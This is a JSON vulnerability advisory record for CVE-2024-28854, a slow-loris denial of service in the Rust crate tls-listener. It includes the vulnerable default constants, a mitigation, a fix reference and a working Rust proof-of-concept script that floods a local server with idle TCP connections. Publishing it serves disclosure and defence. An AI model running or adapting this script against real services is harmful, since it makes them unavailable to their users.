{"id":"CVE-2024-28854","aliases":["GHSA-2qph-qpvm-2qf7","RUSTSEC-2024-0341"],"url":"https://o3.security/vulnerability/CVE-2024-28854","summary":"Slow loris vulnerability with default configuration in tls-listener","details":"### Summary\nWith the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.\n\n### Details\nThe default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.\n\n```rust\n/// Default number of concurrent handshakes\npub const DEFAULT_MAX_HANDSHAKES: usize = 64;\n/// Default timeout for the TLS handshake.\npub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);\n```\n\n### PoC\n\nRunning the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.\n\n```rust\nuse std::{net::ToSocketAddrs, time::Duration};\nuse tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};\n\n#[tokio::main]\nasync fn main() {\n    const N: usize = 1024;\n    const T: Duration = Duration::from_secs(10);\n\n    let url = \"127.0.0.1:3000\";\n    let sockets: Vec<_> = url\n        .to_socket_addrs()\n        .unwrap()\n        .inspect(|s| println!(\"{s:?}\"))\n        .collect();\n\n    let mut js = JoinSet::new();\n\n    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));\n    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);\n    for _ in 0..10000 {\n        for &socket in &sockets {\n            int.tick().await;\n            js.spawn(async move {\n                let mut stream = TcpStream::connect(socket).await.unwrap();\n                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;\n            });\n        }\n    }\n\n    while js.join_next().await.is_some() {}\n}\n\n```\n\n### Impact\n\nThis is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener`\n\n\n### Mitigation\n\nPrevious versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.","published":"2024-03-15T18:54:58.524Z","modified":"2026-08-24T18:49:05.829526800Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"tls-listener","fixedVersion":"0.10.0"}],"fix":{"url":"https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4","label":"tmccombs/tls-listener@d5a7655"},"references":[{"type":"WEB","url":"https://en.wikipedia.org/wiki/Slowloris_(computer_security)"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/28xxx/CVE-2024-28854.json"},{"type":"ADVISORY","url":"https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28854"},{"type":"FIX","url":"https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4"},{"type":"PACKAGE","url":"https://github.com/tmccombs/tls-listener"},{"type":"WEB","url":"https://github.com/tmccombs/tls-listener/releases/tag/v0.10.0"},{"type":"WEB","url":"https://rustsec.org/advisories/RUSTSEC-2024-0341.html"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-24T18:49:05.829526800Z"}}